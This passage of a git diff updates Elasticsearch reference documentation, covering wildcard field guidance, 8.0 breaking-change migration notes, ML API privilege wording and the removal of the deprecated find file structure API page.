an email body or product description. +* You plan to search the field for individual words or phrases, such as `the +brown fox jumped`, using <>. {es} +<> `text` fields to return the most relevant results for +these queries. + +Use a keyword family field type if: + +* The content is machine-generated, such as a log message or HTTP request +information. +* You plan to search the field for exact full values, such as `org.foo.bar`, or +partial character sequences, such as `org.foo.*`, using +<>. + +**Choosing a keyword family field type** + +If you choose a keyword family field type, you can map the field as a `keyword` +or `wildcard` field depending on the cardinality and size of the field's values. +Use the `wildcard` type if you plan to regularly search the field using a +<> or <> +query and meet one of the following criteria: + +* The field contains more than a million unique values. + +AND + +You plan to regularly search the field using a pattern with leading wildcards, +such as `*foo` or `*baz`. + +* The field contains values larger than 32KB. + +AND + +You plan to regularly search the field using any wildcard pattern. + +Otherwise, use the `keyword` field type for faster searches, faster indexing, +and lower storage costs. For an in-depth comparison and decision flowchart, see +our +https://www.elastic.co/blog/find-strings-within-strings-faster-with-the-new-elasticsearch-wildcard-field[related +blog post]. + +**Switching from a `text` field to a keyword field** + +If you previously used a `text` field to index unstructured machine-generated +content, you can <> to a `keyword` +or `wildcard` field. We also recommend you update your application or workflow +to replace any word-based <> on the field +to equivalent <>. +**** Internally the `wildcard` field indexes the whole field value using ngrams and stores the full string. The index is used as a rough filter to cut down the number of values that are then checked by retrieving and checking the full values. This field is especially well suited to run grep-like queries on log lines. Storage costs are typically lower than those of `keyword` -fields but search speeds for exact matches on full terms are slower. +fields but search speeds for exact matches on full terms are slower. If the +field values share many prefixes, such as URLs for the same website, storage +costs for a `wildcard` field may be higher than an equivalent `keyword` field. + You index and search a wildcard field as follows @@ -61,15 +119,16 @@ The following parameters are accepted by `wildcard` fields: <>:: Accepts a string value which is substituted for any explicit `null` - values. Defaults to `null`, which means the field is treated as missing. + values. Defaults to `null`, which means the field is treated as missing. <>:: - Do not index any string longer than this value. Defaults to `2147483647` + Do not index any string longer than this value. Defaults to `2147483647` so that all values would be accepted. [discrete] ==== Limitations * `wildcard` fields are untokenized like keyword fields, so do not support queries that rely on word positions such as phrase queries. +* When running `wildcard` queries any `rewrite` parameter is ignored. The scoring is always a constant score. diff --git a/docs/reference/migration/migrate_8_0.asciidoc b/docs/reference/migration/migrate_8_0.asciidoc index a00dc9cb37fa0..6a368ae903b44 100644 --- a/docs/reference/migration/migrate_8_0.asciidoc +++ b/docs/reference/migration/migrate_8_0.asciidoc @@ -17,6 +17,7 @@ coming[8.0.0] * <> * <> * <> +* <> * <> * <> * <> @@ -60,7 +61,7 @@ enable <>. [%collapsible] ==== *Details* + -Elasticsearch 8.0 can read indices created in version 7.0 or above. An +Elasticsearch 8.0 can read indices created in version 7.0 or above. An Elasticsearch 8.0 node will not start in the presence of indices created in a version of Elasticsearch before 7.0. @@ -91,6 +92,7 @@ include::migrate_8_0/analysis.asciidoc[] include::migrate_8_0/breaker.asciidoc[] include::migrate_8_0/cluster.asciidoc[] include::migrate_8_0/discovery.asciidoc[] +include::migrate_8_0/eql.asciidoc[] include::migrate_8_0/http.asciidoc[] include::migrate_8_0/ilm.asciidoc[] include::migrate_8_0/indices.asciidoc[] diff --git a/docs/reference/migration/migrate_8_0/eql.asciidoc b/docs/reference/migration/migrate_8_0/eql.asciidoc new file mode 100644 index 0000000000000..5b38a9610804b --- /dev/null +++ b/docs/reference/migration/migrate_8_0/eql.asciidoc @@ -0,0 +1,16 @@ +[discrete] +[[breaking_80_eql_changes]] +==== EQL changes + +//tag::notable-breaking-changes[] +.The `wildcard` function has been removed. +[%collapsible] +==== +*Details* + +The `wildcard` function was deprecated in {es} 7.13.0 and has been removed. + +*Impact* + +Use the <> or +<> keyword instead. +==== +// end::notable-breaking-changes[] \ No newline at end of file diff --git a/docs/reference/migration/migrate_8_0/indices.asciidoc b/docs/reference/migration/migrate_8_0/indices.asciidoc index 59a21bc7cad74..7ba4155a5f085 100644 --- a/docs/reference/migration/migrate_8_0/indices.asciidoc +++ b/docs/reference/migration/migrate_8_0/indices.asciidoc @@ -49,16 +49,16 @@ Discontinue use of the `index.force_memory_term_dictionary` index setting. Requests that include this setting will return an error. ==== -.The put index template API's `template` parameter has been removed. +.The create or update index template API's `template` parameter has been removed. [%collapsible] ==== *Details* + -In 6.0, we deprecated the `template` parameter in put index template requests -in favor of using `index_patterns`. Support for the `template` parameter is now -removed in 8.0. +In 6.0, we deprecated the `template` parameter in create or update index +template requests in favor of using `index_patterns`. Support for the `template` +parameter is now removed in 8.0. *Impact* + -Use the {ref}/indices-templates-v1.html[put index template API]'s +Use the {ref}/indices-templates-v1.html[create or update index template API]'s `index_patterns` parameter. Requests that include the `template` parameter will return an error. ==== diff --git a/docs/reference/migration/migrate_8_0/mappings.asciidoc b/docs/reference/migration/migrate_8_0/mappings.asciidoc index 0a06f26df096c..3d6ac3e24f4a5 100644 --- a/docs/reference/migration/migrate_8_0/mappings.asciidoc +++ b/docs/reference/migration/migrate_8_0/mappings.asciidoc @@ -27,7 +27,7 @@ than 10 completion contexts will return an error. [%collapsible] ==== *Details* + -The typed REST endpoints of the Put Mapping, Get Mapping and Get Field mapping +The typed REST endpoints of the update mapping, get mapping and get field mapping APIs have been removed in favour of their typeless REST endpoints, since indexes no longer contain types, these typed endpoints are obsolete. @@ -64,23 +64,23 @@ Disabling _field_names is not necessary because it no longer carries a large ind ==== [[mapping-boosts]] -.The `boost` parameter on field mappings has been removed +.The `boost` parameter on field mappings has been removed. [%collapsible] ==== *Details* + Index-time boosts have been deprecated since the 5x line, but it was still possible -to declare field-specific boosts in the mappings. This is now removed completely. +to declare field-specific boosts in the mappings. This is now removed completely. Indexes built in 7x that contain mapping boosts will emit warnings, and the boosts -will have no effect in 8.0. New indexes will not permit boosts to be set in their +will have no effect in 8.0. New indexes will not permit boosts to be set in their mappings at all. *Impact* + -The `boost` setting should be removed from templates and mappings. Use boosts +The `boost` setting should be removed from templates and mappings. Use boosts directly on queries instead. ==== //tag::notable-breaking-changes[] -.Java-time date formats replace joda-time formats +.Java-time date formats replace joda-time formats. [%collapsible] ==== *Details* + @@ -97,19 +97,19 @@ time migration guide]. // end::notable-breaking-changes[] [[geo-shape-strategy]] -.The `strategy` parameter on `geo_shape` mappings now rejects unknown strategies +.The `strategy` parameter on `geo_shape` mappings now rejects unknown strategies. [%collapsible] ==== *Details* + The only permissible values for the `strategy` parameter on `geo_shape` mappings are `term` and `recursive`. In 7.x if a non-permissible value was used as a -parameter here, the mapping would silently fall back to using `recursive`. The +parameter here, the mapping would silently fall back to using `recursive`. The mapping will now be rejected instead. *Impact* + This will have no impact on existing mappings created with non-permissible strategy values, as they will already be serializing themselves as if they -had been configured as `recursive`. New indexes will need to use one of the +had been configured as `recursive`. New indexes will need to use one of the permissible strategies, or preferably not define a strategy at all and use the far more efficient BKD index. ==== diff --git a/docs/reference/migration/migrate_8_0/migrate_to_java_time.asciidoc b/docs/reference/migration/migrate_8_0/migrate_to_java_time.asciidoc index 3454e7609b6ae..b3063470128ae 100644 --- a/docs/reference/migration/migrate_8_0/migrate_to_java_time.asciidoc +++ b/docs/reference/migration/migrate_8_0/migrate_to_java_time.asciidoc @@ -23,7 +23,7 @@ These formats are commonly used in: * <> * <> -* <> +* <> If you don't use custom date formats, you can skip the rest of this guide. Most custom date formats are compatible. However, several require diff --git a/docs/reference/migration/migrate_8_0/rollup.asciidoc b/docs/reference/migration/migrate_8_0/rollup.asciidoc index 1c1aea280b872..fc78d5bc8eccd 100644 --- a/docs/reference/migration/migrate_8_0/rollup.asciidoc +++ b/docs/reference/migration/migrate_8_0/rollup.asciidoc @@ -9,29 +9,6 @@ // end::notable-breaking-changes[] -ifdef::permanently-unreleased-branch[] - -.The StartRollupJob endpoint now returns a success status if a legacy rollup job has already started. -[%collapsible] -==== -*Details* + -Previously, attempting to start an already-started legacy rollup job would -result in a `500 InternalServerError: Cannot start task for Rollup Job -[job] because state was [STARTED]` exception. - -Now, attempting to start a job that is already started will just -return a successful `200 OK: started` response. - -*Impact* + -Update your workflow and applications to assume that a 200 status in response to -attempting to start a legacy rollup job means the job is in an actively started state. -The request itself may have started the job, or it was previously running and so -the request had no effect. -==== - -endif::[] -ifndef::permanently-unreleased-branch[] - .The StartRollupJob endpoint now returns a success status if a job has already started. [%collapsible] ==== @@ -49,5 +26,3 @@ attempting to start a rollup job means the job is in an actively started state. The request itself may have started the job, or it was previously running and so the request had no effect. ==== - -endif::[] diff --git a/docs/reference/migration/migrate_8_0/settings.asciidoc b/docs/reference/migration/migrate_8_0/settings.asciidoc index d27558db65f81..6152513a0b6d8 100644 --- a/docs/reference/migration/migrate_8_0/settings.asciidoc +++ b/docs/reference/migration/migrate_8_0/settings.asciidoc @@ -134,7 +134,7 @@ in {es} 8.0.0: * `xpack.transform.enabled` * `xpack.vectors.enabled` -These basic license features are now always enabled for the {default-dist}. +These basic license features are now always enabled. If you have disabled ILM so that you can use another tool to manage Watcher indices, the newly introduced `xpack.watcher.use_ilm_index_management` setting @@ -166,3 +166,117 @@ Discontinue use of the removed settings. If needed, use `gateway.expected_data_nodes` or `gateway.recover_after_data_nodes` to defer cluster recovery pending a certain number of data nodes. ==== + +.You can no longer set `xpack.searchable.snapshot.shared_cache.size` on non-frozen nodes. +[%collapsible] +==== +*Details* + +Setting `xpack.searchable.snapshot.shared_cache.size` to be positive on a node +that does not have the `data_frozen` role was deprecated in {es} 7.12.0 and has +been removed in {es} 8.0.0. + +*Impact* + +{es} only allocates partially mounted indices to nodes with the `data_frozen` +role. Do not set `xpack.searchable.snapshot.shared_cache.size` on nodes without +the `data_frozen` role. Removing the setting on nodes without the `data_frozen` +role will not impact functionality. +==== + +.By default, destructive index actions do not allow wildcards. +[%collapsible] +==== +*Details* + +The default value of the setting `action.destructive_requires_name` changes from `false` +to `true` in {es} 8.0.0. + +In previous versions, the default setting allowed users to use wildcard +patterns to delete, close, or change index blocks on indices. In order +to prevent the accidental deletion of indices that happen to match a +wildcard pattern, we now require, by default, that any such destructive +operation explicitly name the indices it intends to modify. + +*Impact* + +If you would like to use wildcard patterns for destructive actions, set +`action.destructive_requires_name` to `false` using the <> API. +==== + +.Legacy role settings have been removed. +[%collapsible] +==== +*Details* + +The legacy role settings: + +* `node.data` +* `node.ingest` +* `node.master` +* `node.ml` +* `node.remote_cluster_client` +* `node.transform` +* `node.voting_only` + +have been removed. Instead, use the `node.roles` setting. If you were previously +using the legacy role settings on a 7.13 or later cluster, you will have a +deprecation log message on each of your nodes indicating the exact replacement +value for `node.roles`. + +*Impact* + +Discontinue use of the removed settings. Specifying these settings in +`elasticsearch.yml` will result in an error on startup. +==== + +[[system-call-filter-setting]] +.System call filter setting removed +[%collapsible] +==== +*Details* + +Elasticsearch uses system call filters to remove its ability to fork another +process. This is useful to mitigate remote code exploits. These system call +filters are enabled by default, and were previously controlled via the setting +`bootstrap.system_call_filter`. Starting in Elasticsearch 8.0, system call +filters will be required. As such, the setting `bootstrap.system_call_filter` +was deprecated in Elasticsearch 7.13.0, and is removed as of Elasticsearch +8.0.0. + +*Impact* + +Discontinue use of the removed setting. Specifying this setting in Elasticsearch +configuration will result in an error on startup. +==== + +[[tier-filter-setting]] +.Tier filtering settings removed +[%collapsible] +==== +*Details* + +The cluster and index level settings ending in `._tier` used for filtering the allocation of a shard +to a particular set of nodes have been removed. Instead, the <>, `index.routing.allocation.include._tier_preference` should be used. The +removed settings are: + +Cluster level settings: +- `cluster.routing.allocation.include._tier` +- `cluster.routing.allocation.exclude._tier` +- `cluster.routing.allocation.require._tier` +Index settings: +- `index.routing.allocation.include._tier` +- `index.routing.allocation.exclude._tier` +- `index.routing.allocation.require._tier` + +*Impact* + +Discontinue use of the removed settings. Specifying any of these cluster settings in Elasticsearch +configuration will result in an error on startup. Any indices using these settings will have the +settings archived (and they will have no effect) when the index metadata is loaded. + +[[shared-data-path-setting]] +.Shared data path and per index data path settings deprecated +[%collapsible] +==== +*Details* + +Elasticsearch uses the shared data path as the base path of per index data +paths. This feature was previously used with shared replicas. Starting in +7.13.0, these settings are deprecated. Starting in 8.0 only existing +indices created in 7.x will be capable of using the shared data path and +per index data path settings. + +*Impact* + +Discontinue use of the deprecated settings. diff --git a/docs/reference/migration/migrate_8_0/snapshots.asciidoc b/docs/reference/migration/migrate_8_0/snapshots.asciidoc index 12265270ca6e8..c4d91aaaafc3b 100644 --- a/docs/reference/migration/migrate_8_0/snapshots.asciidoc +++ b/docs/reference/migration/migrate_8_0/snapshots.asciidoc @@ -131,15 +131,13 @@ Discontinue use of the `settings` parameter in restore snapshot request. Requests that include these parameters will return an error. ==== -.Repository Stats API is deprecated +.The repository stats API has been removed. [%collapsible] ==== *Details* + -The Repository Stats API has been introduced in 7.8.0 as an experimental API -and was never released. This API is superseded by the <> -added in 7.10.0 which should be used instead. The Repository Stats API is -deprecated starting 7.10.0 and will be removed in 8.0.0. +The repository stats API has been removed. We deprecated this experimental API +in 7.10.0. *Impact* + -Use the <>. +Use the <> instead. ==== diff --git a/docs/reference/ml/anomaly-detection/apis/close-job.asciidoc b/docs/reference/ml/anomaly-detection/apis/close-job.asciidoc index eb66321c43410..40f4f285c6404 100644 --- a/docs/reference/ml/anomaly-detection/apis/close-job.asciidoc +++ b/docs/reference/ml/anomaly-detection/apis/close-job.asciidoc @@ -24,9 +24,8 @@ operations, but you can still explore and navigate results. [[ml-close-job-prereqs]] == {api-prereq-title} -* If the {es} {security-features} are enabled, you must have `manage_ml` or -`manage` cluster privileges to use this API. See -<> and {ml-docs-setup-privileges}. +* Requires the `manage_ml` cluster privilege. This privilege is included in the +`machine_learning_admin` built-in role. * Before you can close an {anomaly-job}, you must stop its {dfeed}. See <>. @@ -52,7 +51,7 @@ the job. NOTE: If you use the `force` query parameter, the request returns without performing the associated actions such as flushing buffers and persisting the model snapshots. Therefore, do not use this parameter if you want the job to be in a consistent state -after the close job API returns. The `force` query parameter should only be used in +after the close job API returns. The `force` query parameter should only be used in situations where the job has already failed, or where you are not interested in results the job might have recently produced or might produce in the future. diff --git a/docs/reference/ml/anomaly-detection/apis/delete-calendar-event.asciidoc b/docs/reference/ml/anomaly-detection/apis/delete-calendar-event.asciidoc index c7fdc37564c29..77623aaa00883 100644 --- a/docs/reference/ml/anomaly-detection/apis/delete-calendar-event.asciidoc +++ b/docs/reference/ml/anomaly-detection/apis/delete-calendar-event.asciidoc @@ -16,9 +16,8 @@ Deletes scheduled events from a calendar. [[ml-delete-calendar-event-prereqs]] == {api-prereq-title} -* If the {es} {security-features} are enabled, you must have `manage_ml` or -`manage` cluster privileges to use this API. See -<> and {ml-docs-setup-privileges}. +Requires the `manage_ml` cluster privilege. This privilege is included in the +`machine_learning_admin` built-in role. [[ml-delete-calendar-event-desc]] == {api-description-title} diff --git a/docs/reference/ml/anomaly-detection/apis/delete-calendar-job.asciidoc b/docs/reference/ml/anomaly-detection/apis/delete-calendar-job.asciidoc index d16a742e5dc0a..381755f049cdc 100644 --- a/docs/reference/ml/anomaly-detection/apis/delete-calendar-job.asciidoc +++ b/docs/reference/ml/anomaly-detection/apis/delete-calendar-job.asciidoc @@ -16,9 +16,8 @@ Deletes {anomaly-jobs} from a calendar. [[ml-delete-calendar-job-prereqs]] == {api-prereq-title} -* If the {es} {security-features} are enabled, you must have `manage_ml` or -`manage` cluster privileges to use this API. See -<> and {ml-docs-setup-privileges}. +Requires the `manage_ml` cluster privilege. This privilege is included in the +`machine_learning_admin` built-in role. [[ml-delete-calendar-job-path-parms]] == {api-path-parms-title} diff --git a/docs/reference/ml/anomaly-detection/apis/delete-calendar.asciidoc b/docs/reference/ml/anomaly-detection/apis/delete-calendar.asciidoc index 388ec66377239..5f39a3577f40d 100644 --- a/docs/reference/ml/anomaly-detection/apis/delete-calendar.asciidoc +++ b/docs/reference/ml/anomaly-detection/apis/delete-calendar.asciidoc @@ -16,9 +16,8 @@ Deletes a calendar. [[ml-delete-calendar-prereqs]] == {api-prereq-title} -* If the {es} {security-features} are enabled, you must have `manage_ml` or -`manage` cluster privileges to use this API. See -<> and {ml-docs-setup-privileges}. +Requires the `manage_ml` cluster privilege. This privilege is included in the +`machine_learning_admin` built-in role. [[ml-delete-calendar-desc]] == {api-description-title} diff --git a/docs/reference/ml/anomaly-detection/apis/delete-datafeed.asciidoc b/docs/reference/ml/anomaly-detection/apis/delete-datafeed.asciidoc index ca153e61e4046..4a770b5ab0c87 100644 --- a/docs/reference/ml/anomaly-detection/apis/delete-datafeed.asciidoc +++ b/docs/reference/ml/anomaly-detection/apis/delete-datafeed.asciidoc @@ -18,11 +18,10 @@ Deletes an existing {dfeed}. [[ml-delete-datafeed-prereqs]] == {api-prereq-title} +* Requires the `manage_ml` cluster privilege. This privilege is included in the +`machine_learning_admin` built-in role. * Unless you use the `force` parameter, you must stop the {dfeed} before you can delete it. -* If the {es} {security-features} are enabled, you must have `manage_ml` or -`manage` cluster privileges to use this API. See -<> and {ml-docs-setup-privileges}. [[ml-delete-datafeed-path-parms]] == {api-path-parms-title} diff --git a/docs/reference/ml/anomaly-detection/apis/delete-expired-data.asciidoc b/docs/reference/ml/anomaly-detection/apis/delete-expired-data.asciidoc index bfe45e4c27bde..3b4293ea856ac 100644 --- a/docs/reference/ml/anomaly-detection/apis/delete-expired-data.asciidoc +++ b/docs/reference/ml/anomaly-detection/apis/delete-expired-data.asciidoc @@ -18,9 +18,8 @@ Deletes expired and unused machine learning data. [[ml-delete-expired-data-prereqs]] == {api-prereq-title} -* If the {es} {security-features} are enabled, you must have `manage_ml` or -`manage` cluster privileges to use this API. See -<> and {ml-docs-setup-privileges}. +Requires the `manage_ml` cluster privilege. This privilege is included in the +`machine_learning_admin` built-in role. [[ml-delete-expired-data-desc]] == {api-description-title} @@ -29,10 +28,10 @@ Deletes all job results, model snapshots and forecast data that have exceeded their `retention days` period. Machine learning state documents that are not associated with any job are also deleted. -You can limit the request to a single or set of {anomaly-jobs} by using a job identifier, -a group name, a comma-separated list of jobs, or a wildcard expression. -You can delete expired data for all {anomaly-jobs} by using `_all`, by specifying -`*` as the ``, or by omitting the ``. +You can limit the request to a single or set of {anomaly-jobs} by using a job +identifier, a group name, a comma-separated list of jobs, or a wildcard +expression. You can delete expired data for all {anomaly-jobs} by using `_all`, +by specifying `*` as the ``, or by omitting the ``. [[ml-delete-expired-data-path-parms]] == {api-path-parms-title} diff --git a/docs/reference/ml/anomaly-detection/apis/delete-filter.asciidoc b/docs/reference/ml/anomaly-detection/apis/delete-filter.asciidoc index 94431a2f3e14b..630f7db4c2450 100644 --- a/docs/reference/ml/anomaly-detection/apis/delete-filter.asciidoc +++ b/docs/reference/ml/anomaly-detection/apis/delete-filter.asciidoc @@ -16,9 +16,8 @@ Deletes a filter. [[ml-delete-filter-prereqs]] == {api-prereq-title} -* If the {es} {security-features} are enabled, you must have `manage_ml` or -`manage` cluster privileges to use this API. See -<> and {ml-docs-setup-privileges}. +Requires the `manage_ml` cluster privilege. This privilege is included in the +`machine_learning_admin` built-in role. [[ml-delete-filter-desc]] == {api-description-title} diff --git a/docs/reference/ml/anomaly-detection/apis/delete-forecast.asciidoc b/docs/reference/ml/anomaly-detection/apis/delete-forecast.asciidoc index 9d39712944cd2..2d6216fc2f80d 100644 --- a/docs/reference/ml/anomaly-detection/apis/delete-forecast.asciidoc +++ b/docs/reference/ml/anomaly-detection/apis/delete-forecast.asciidoc @@ -20,9 +20,8 @@ Deletes forecasts from a {ml} job. [[ml-delete-forecast-prereqs]] == {api-prereq-title} -* If the {es} {security-features} are enabled, you must have `manage_ml` or -`manage` cluster privileges to use this API. See -<> and {ml-docs-setup-privileges}. +Requires the `manage_ml` cluster privilege. This privilege is included in the +`machine_learning_admin` built-in role. [[ml-delete-forecast-desc]] == {api-description-title} diff --git a/docs/reference/ml/anomaly-detection/apis/delete-job.asciidoc b/docs/reference/ml/anomaly-detection/apis/delete-job.asciidoc index 8ac68f9126034..82b20e58c78f4 100644 --- a/docs/reference/ml/anomaly-detection/apis/delete-job.asciidoc +++ b/docs/reference/ml/anomaly-detection/apis/delete-job.asciidoc @@ -16,12 +16,12 @@ Deletes an existing {anomaly-job}. [[ml-delete-job-prereqs]] == {api-prereq-title} -* If {es} {security-features} are enabled, you must have `manage_ml` or `manage` -cluster privileges to use this API. See <> and -{ml-docs-setup-privileges}. +* Requires the `manage_ml` cluster privilege. This privilege is included in the +`machine_learning_admin` built-in role. * Before you can delete a job, you must delete the {dfeeds} that are associated with it. See <>. -* Before you can delete a job, you must close it (unless you specify the `force` parameter). See <>. +* Before you can delete a job, you must close it (unless you specify the `force` +parameter). See <>. [[ml-delete-job-desc]] == {api-description-title} diff --git a/docs/reference/ml/anomaly-detection/apis/delete-snapshot.asciidoc b/docs/reference/ml/anomaly-detection/apis/delete-snapshot.asciidoc index 26cb641c6b6fc..6b735f5410b2f 100644 --- a/docs/reference/ml/anomaly-detection/apis/delete-snapshot.asciidoc +++ b/docs/reference/ml/anomaly-detection/apis/delete-snapshot.asciidoc @@ -16,9 +16,8 @@ Deletes an existing model snapshot. [[ml-delete-snapshot-prereqs]] == {api-prereq-title} -* If the {es} {security-features} are enabled, you must have `manage_ml` or -`manage` cluster privileges to use this API. See <> and -{ml-docs-setup-privileges}. +Requires the `manage_ml` cluster privilege. This privilege is included in the +`machine_learning_admin` built-in role. [[ml-delete-snapshot-desc]] == {api-description-title} diff --git a/docs/reference/ml/anomaly-detection/apis/estimate-model-memory.asciidoc b/docs/reference/ml/anomaly-detection/apis/estimate-model-memory.asciidoc index c4759a8d2c93a..5f2e229ea37d7 100644 --- a/docs/reference/ml/anomaly-detection/apis/estimate-model-memory.asciidoc +++ b/docs/reference/ml/anomaly-detection/apis/estimate-model-memory.asciidoc @@ -6,8 +6,8 @@ Estimate model memory ++++ -Makes an estimation of the memory usage for an {anomaly-job} model. It -is based on analysis configuration details for the job and cardinality estimates for the +Makes an estimation of the memory usage for an {anomaly-job} model. It is based +on analysis configuration details for the job and cardinality estimates for the fields it references. @@ -19,13 +19,8 @@ fields it references. [[ml-estimate-model-memory-prereqs]] == {api-prereq-title} -If the {es} {security-features} are enabled, you must have the following privileges: - -* `manage_ml` or cluster: `manage` - -For more information, see <> and -{ml-docs-setup-privileges}. - +Requires the `manage_ml` cluster privilege. This privilege is included in the +`machine_learning_admin` built-in role. [[ml-estimate-model-memory-request-body]] == {api-request-body-title} diff --git a/docs/reference/ml/anomaly-detection/apis/find-file-structure.asciidoc b/docs/reference/ml/anomaly-detection/apis/find-file-structure.asciidoc deleted file mode 100644 index 49119526fd3ad..0000000000000 --- a/docs/reference/ml/anomaly-detection/apis/find-file-structure.asciidoc +++ /dev/null @@ -1,1955 +0,0 @@ -[role="xpack"] -[testenv="basic"] -[[ml-find-file-structure]] -= Find file structure API -++++ -Find file structure -++++ - -deprecated::[7.12.0,Replaced by <>] - -Finds the structure of a text file. The text file must contain data that is -suitable to be ingested into {es}. - - -[[ml-find-file-structure-request]] -== {api-request-title} - -`POST _ml/find_file_structure` - - -[[ml-find-file-structure-prereqs]] -== {api-prereq-title} - -* If the {es} {security-features} are enabled, you must have `monitor_ml` or -`monitor` cluster privileges to use this API. See -<> and -{ml-docs-setup-privileges}. - - -[[ml-find-file-structure-desc]] -== {api-description-title} - -This API provides a starting point for ingesting data into {es} in a format that -is suitable for subsequent use with other {ml} functionality. - -Unlike other {es} endpoints, the data that is posted to this endpoint does not -need to be UTF-8 encoded and in JSON format. It must, however, be text; binary -file formats are not currently supported. - -The response from the API contains: - -* A couple of messages from the beginning of the file. -* Statistics that reveal the most common values for all fields detected within - the file and basic numeric statistics for numeric fields. -* Information about the structure of the file, which is useful when you write - ingest configurations to index the file contents. -* Appropriate mappings for an {es} index, which you could use to ingest the file - contents. - -All this information can be calculated by the structure finder with no guidance. -However, you can optionally override some of the decisions about the file -structure by specifying one or more query parameters. - -Details of the output can be seen in the -<>. - -If the structure finder produces unexpected results for a particular file, -specify the `explain` query parameter. It causes an `explanation` to appear in -the response, which should help in determining why the returned structure was -chosen. - - -[[ml-find-file-structure-query-parms]] -== {api-query-parms-title} - -`charset`:: - (Optional, string) The file's character set. It must be a character set that - is supported by the JVM that {es} uses. For example, `UTF-8`, `UTF-16LE`, - `windows-1252`, or `EUC-JP`. If this parameter is not specified, the structure - finder chooses an appropriate character set. - -`column_names`:: - (Optional, string) If you have set `format` to `delimited`, you can specify - the column names in a comma-separated list. If this parameter is not specified, - the structure finder uses the column names from the header row of the file. If - the file does not have a header role, columns are named "column1", "column2", - "column3", etc. - -`delimiter`:: - (Optional, string) If you have set `format` to `delimited`, you can specify - the character used to delimit the values in each row. Only a single character - is supported; the delimiter cannot have multiple characters. By default, the - API considers the following possibilities: comma, tab, semi-colon, and pipe - (`|`). In this default scenario, all rows must have the same number of fields - for the delimited format to be detected. If you specify a delimiter, up to 10% - of the rows can have a different number of columns than the first row. - -`explain`:: - (Optional, Boolean) If this parameter is set to `true`, the response includes - a field named `explanation`, which is an array of strings that indicate how - the structure finder produced its result. The default value is `false`. - -`format`:: -(Optional, string) The high level structure of the file. Valid values are -`ndjson`, `xml`, `delimited`, and `semi_structured_text`. By default, the -API chooses the format. In this default scenario, all rows must -have the same number of fields for a delimited format to be detected. If the -`format` is set to `delimited` and the `delimiter` is not set, however, the -API tolerates up to 5% of rows that have a different number of -columns than the first row. - -`grok_pattern`:: - (Optional, string) If you have set `format` to `semi_structured_text`, you can - specify a Grok pattern that is used to extract fields from every message in - the file. The name of the timestamp field in the Grok pattern must match what - is specified in the `timestamp_field` parameter. If that parameter is not - specified, the name of the timestamp field in the Grok pattern must match - "timestamp". If `grok_pattern` is not specified, the structure finder creates - a Grok pattern. - -`has_header_row`:: - (Optional, Boolean) If you have set `format` to `delimited`, you can use this - parameter to indicate whether the column names are in the first row of the - file. If this parameter is not specified, the structure finder guesses based - on the similarity of the first row of the file to other rows. - -`line_merge_size_limit`:: - (Optional, unsigned integer) The maximum number of characters in a message - when lines are merged to form messages while analyzing semi-structured files. - The default is `10000`. If you have extremely long messages you may need to - increase this, but be aware that this may lead to very long processing times - if the way to group lines into messages is misdetected. - -`lines_to_sample`:: - (Optional, unsigned integer) The number of lines to include in the structural - analysis, starting from the beginning of the file. The minimum is 2; the - default is `1000`. If the value of this parameter is greater than the number - of lines in the file, the analysis proceeds (as long as there are at least two - lines in the file) for all of the lines. + -+ --- -NOTE: The number of lines and the variation of the lines affects the speed of -the analysis. For example, if you upload a log file where the first 1000 lines -are all variations on the same message, the analysis will find more commonality -than would be seen with a bigger sample. If possible, however, it is more -efficient to upload a sample file with more variety in the first 1000 lines than -to request analysis of 100000 lines to achieve some variety. --- - -`quote`:: - (Optional, string) If you have set `format` to `delimited`, you can specify - the character used to quote the values in each row if they contain newlines or - the delimiter character. Only a single character is supported. If this - parameter is not specified, the default value is a double quote (`"`). If your - delimited file format does not use quoting, a workaround is to set this - argument to a character that does not appear anywhere in the sample. - -`should_trim_fields`:: - (Optional, Boolean) If you have set `format` to `delimited`, you can specify - whether values between delimiters should have whitespace trimmed from them. If - this parameter is not specified and the delimiter is pipe (`|`), the default - value is `true`. Otherwise, the default value is `false`. - -`timeout`:: - (Optional, <>) Sets the maximum amount of time that the - structure analysis make take. If the analysis is still running when the - timeout expires then it will be aborted. The default value is 25 seconds. - -`timestamp_field`:: - (Optional, string) The name of the field that contains the primary timestamp - of each record in the file. In particular, if the file were ingested into an - index, this is the field that would be used to populate the `@timestamp` field. -+ --- -If the `format` is `semi_structured_text`, this field must match the name of the -appropriate extraction in the `grok_pattern`. Therefore, for semi-structured -file formats, it is best not to specify this parameter unless `grok_pattern` is -also specified. - -For structured file formats, if you specify this parameter, the field must exist -within the file. - -If this parameter is not specified, the structure finder makes a decision about -which field (if any) is the primary timestamp field. For structured file -formats, it is not compulsory to have a timestamp in the file. --- - -`timestamp_format`:: - (Optional, string) The Java time format of the timestamp field in the file. -+ --- -Only a subset of Java time format letter groups are supported: - -* `a` -* `d` -* `dd` -* `EEE` -* `EEEE` -* `H` -* `HH` -* `h` -* `M` -* `MM` -* `MMM` -* `MMMM` -* `mm` -* `ss` -* `XX` -* `XXX` -* `yy` -* `yyyy` -* `zzz` - -Additionally `S` letter groups (fractional seconds) of length one to nine are -supported providing they occur after `ss` and separated from the `ss` by a `.`, -`,` or `:`. Spacing and punctuation is also permitted with the exception of `?`, -newline and carriage return, together with literal text enclosed in single -quotes. For example, `MM/dd HH.mm.ss,SSSSSS 'in' yyyy` is a valid override -format. - -One valuable use case for this parameter is when the format is semi-structured -text, there are multiple timestamp formats in the file, and you know which -format corresponds to the primary timestamp, but you do not want to specify the -full `grok_pattern`. Another is when the timestamp format is one that the -structure finder does not consider by default. - -If this parameter is not specified, the structure finder chooses the best -format from a built-in set. - -The following table provides the appropriate `timeformat` values for some example timestamps: - -|=== -| Timeformat | Presentation - -| yyyy-MM-dd HH:mm:ssZ | 2019-04-20 13:15:22+0000 -| EEE, d MMM yyyy HH:mm:ss Z | Sat, 20 Apr 2019 13:15:22 +0000 -| dd.MM.yy HH:mm:ss.SSS | 20.04.19 13:15:22.285 -|=== - -See -https://docs.oracle.com/javase/8/docs/api/java/time/format/DateTimeFormatter.html[the Java date/time format documentation] -for more information about date and time format syntax. - --- - -[[ml-find-file-structure-request-body]] -== {api-request-body-title} - -The text file that you want to analyze. It must contain data that is suitable to -be ingested into {es}. It does not need to be in JSON format and it does not -need to be UTF-8 encoded. The size is limited to the {es} HTTP receive buffer -size, which defaults to 100 Mb. - -[[ml-find-file-structure-examples]] -== {api-examples-title} - -[[ml-find-file-structure-example-nld-json]] -=== Ingesting newline-delimited JSON - -Suppose you have a newline-delimited JSON file that contains information about -some books. You can send the contents to the `find_file_structure` endpoint: - -[source,console] ----- -POST _ml/find_file_structure -{"name": "Leviathan Wakes", "author": "James S.A. Corey", 